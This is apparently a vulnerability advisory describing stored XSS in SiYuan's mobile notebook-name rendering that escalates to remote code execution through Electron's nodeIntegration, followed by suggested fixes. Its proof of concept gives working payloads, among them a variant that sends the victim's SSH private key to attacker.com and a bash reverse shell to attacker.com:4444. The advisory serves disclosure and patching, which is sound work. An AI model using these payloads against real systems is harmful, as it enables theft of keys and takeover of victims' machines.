Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface

Summary

SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.

Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.

Affected Component

• Vulnerable file: app/src/mobile/dock/MobileFiles.ts:77
• Safe counterpart: app/src/layout/dock/Files.ts:104 (uses escapeHtml)
• Backend (no escaping): kernel/api/notebook.go:104-116 (renameNotebook)
• Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)
• Endpoint: POST /api/notebook/renameNotebook (authenticated)
• Version: SiYuan <= 3.5.9

Vulnerable Code

Mobile — no escaping (MobileFiles.ts:77)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
    break;

Desktop — properly escaped (Files.ts:104)

case "renamenotebook":
    this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
    break;

Backend — sends unescaped name (notebook.go:104-116)

func renameNotebook(c *gin.Context) {
    // ...
    name := arg["name"].(string)
    err := model.RenameBox(notebook, name)
    // ...
    evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
    evt.Data = map[string]interface{}{
        "box":  notebook,
        "name": name,  // Unescaped — sent directly to all clients
    }
    util.PushEvent(evt)
}

model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.

Electron — Node.js in renderer (main.js:422-426)

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker).

1. Set malicious notebook name (RCE payload)

POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}

On Linux/macOS:

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}

Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.

2. Mobile client renders and executes

When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec() — arbitrary OS command execution.

3. Verified event content

# Unauthenticated WebSocket listener receives:
{
    "cmd": "renamenotebook",
    "data": {
        "box": "20260309161535-do8qg95",
        "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    }
}

The HTML/JS payload is preserved verbatim in the WebSocket event.

4. Data exfiltration variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}

5. Reverse shell variant

{
    "notebook": "<NOTEBOOK_ID>",
    "name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}

Attack Scenario

1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload
2. The renamenotebook event broadcasts the payload to ALL connected clients
3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload
4. nodeIntegration: true gives the injected JavaScript full OS access
5. Attacker achieves arbitrary command execution on the victim's machine

Persistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.

Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.

Impact

• Severity: CRITICAL (CVSS ~9.0)
• Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
• Full remote code execution on Electron desktop via nodeIntegration: true
• Stored XSS — notebook names persist across sessions and survive restarts
• Propagates via cloud sync to all synced devices
• Affects all mobile interface users and desktop users in mobile/narrow layout
• Inconsistent escaping — desktop is safe, mobile is not (indicates oversight)
• Can steal files, credentials, SSH keys, install backdoors, open reverse shells

Suggested Fix

1. Apply the same escaping used in the desktop version

// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;

// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);

2. Sanitize notebook names on the backend

func RenameBox(boxID, name string) (err error) {
    name = util.EscapeHTML(name)  // Sanitize at the source
    // ...
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}